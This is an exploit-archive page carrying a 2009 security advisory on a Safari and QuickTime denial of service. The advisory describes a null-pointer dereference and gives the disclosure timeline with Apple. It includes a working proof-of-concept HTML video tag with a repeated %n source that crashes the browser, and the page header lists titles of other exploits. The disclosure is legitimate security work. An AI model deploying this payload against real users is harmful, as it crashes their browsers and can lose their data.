477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
130 lines
5.7 KiB
Text
Executable file
130 lines
5.7 KiB
Text
Executable file
________________________________________________________________________
|
|
|
|
Apple Safari & Quicktime Denial of Service
|
|
________________________________________________________________________
|
|
|
|
Shameless plug :
|
|
------------------------------------------------------------------------
|
|
You are invited to join the 2009 edition of HACK.LU, a small but
|
|
concentrated luxemburgish security conference.
|
|
More information : http://www.hack.lu - CFP is open, sponsorship is still
|
|
possible and warmly welcomed.
|
|
------------------------------------------------------------------------
|
|
|
|
Release mode: Coordinated
|
|
Ref : [TZO-36-2009] - Apple Safari & Quicktime DoS
|
|
Vendor : http://www.apple.com
|
|
WWW : http://blog.zoller.lu/2009/05/advisory-apple-safari-quicktime-dos.html
|
|
Status : Not patched
|
|
Credit : none given (Apple can't find a place to credit)
|
|
Discovered : 18.11.2008 Zoller, 19.06.2009 Alexios Fakos (probably plenty
|
|
of others)
|
|
Security notification reaction rating : good
|
|
Notification to patch window : n+1
|
|
|
|
Disclosure Policy : http://blog.zoller.lu/2008/09/notification-and-disclosure-policy.html
|
|
|
|
Affected products
|
|
- Apple Safari (all)
|
|
- Quicktime (all)
|
|
|
|
|
|
I. Background
|
|
~~~~~~~~~~~
|
|
Wikipedia quote: "Apple Inc. (NASDAQ: AAPL) is an American multinational
|
|
corporation which designs and manufactures consumer electronics and
|
|
software products. The company's best-known hardware products include
|
|
Macintosh computers, the iPod and the iPhone."
|
|
|
|
II. Description
|
|
~~~~~~~~~~~~~
|
|
A null pointer is being dereference when CFRelease() is called on NULL.
|
|
|
|
III. Impact
|
|
~~~~~~~~~
|
|
The browser will crash, your data might be lost.
|
|
|
|
IV. Proof of concept (hold your breath)
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
<html>
|
|
<video src=%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n>Video</video>
|
|
</html>
|
|
|
|
V. Disclosure timeline
|
|
~~~~~~~~~~~~~~~~~~~~~~~
|
|
DD/MM/YYYY
|
|
18/11/2008 : Send proof of concept file and a description that failed to
|
|
give the correct impact.
|
|
|
|
25/11/2009 : Apple acknowledges receipt and reproducability :
|
|
"After investigating this issue further, we've determined
|
|
that the crash your test case triggers is caused by
|
|
dereferencing a null pointer and not from a format string issue"
|
|
|
|
20/01/2009 : Ask for an update
|
|
|
|
23/01/2009 : Apple sends an encrypted and signed PGP mail, fine, however the mail
|
|
is encrypted with their own key
|
|
|
|
23/01/2009 : Ask for the mail to be resend as I don't have Apple's private key
|
|
|
|
24/01/2009 : Apple states that "Regarding the QuickTime null dereference you
|
|
reported, this bug is still being worked on by our engineers
|
|
and is not addressed in QuickTime 7.6"
|
|
|
|
26/01/2009 : Ask apple for a fix timeline as this is an ridiculouly easy to fix
|
|
vulnerability
|
|
|
|
27/01/2009 : Apple statest "Regarding the QuickTime null deref issue, it is
|
|
currently set to be part of the next QuickTime update. [..]
|
|
Additionally, we do not intend to describe this crasher in our
|
|
security advisory.
|
|
|
|
Note: No Security advisory = no credit, should have published here.
|
|
|
|
28/01/2009: Apple states "Given that we are handling this as a crasher and
|
|
not as a security exposure, it stands to reason that you may
|
|
want to disclose it without waiting for the update that
|
|
addresses it and without further coordination with Apple.
|
|
We do appreciate the fact that you reported it to us and are
|
|
intending to address it in the next available update"
|
|
|
|
[..]
|
|
[Several discussion about CIA, why a DoS against the iPhone is worth a security
|
|
advisory, when it isn't against safari.. etc. I spare you the details]
|
|
[..]
|
|
|
|
29/01/2009 : Ask why I should hold disclosure for a DoS in a particular
|
|
portable apple product but disclose DoS in other apple products.
|
|
Asked apple to make a choice, either DoS is a security issue and
|
|
I won't disclose or it isn't and I disclose all of them,
|
|
including the one in the very portable apple product
|
|
|
|
30/01/2009 : Apple answers that
|
|
"Your QuickTime and Safari issues constitute denial of service.
|
|
We consider any denial of service issue to be security related,
|
|
and they are important to fix. We plan to fix the ones you
|
|
reported in the next available updates."
|
|
|
|
"I believe we can put credit in an appropriate place for the
|
|
WebKit/Safari change. I was not able to locate a suitable place
|
|
for crediting the QuickTime crasher"
|
|
|
|
Fast forward 5 months, and apple releases a stream of code execution bug fixes
|
|
for Quicktime.
|
|
|
|
01/06/2009 : Ask for an update and if the DoS condition has been fixed
|
|
|
|
02/06/2009 : Apple states that
|
|
"According to our bug tracking system the null-dereference crasher
|
|
issue is not yet addressed in QuickTime. We are investigating
|
|
now to see if for some reason the latest version has picked up
|
|
changes that address this issue and will send you feedback
|
|
today about it."
|
|
|
|
In summary, no credit, no advisory, and 7 months of time to (not) fix a
|
|
single line of code.
|
|
|
|
10/06/2009 : Release of this advisory
|
|
|
|
# milw0rm.com [2009-06-15]
|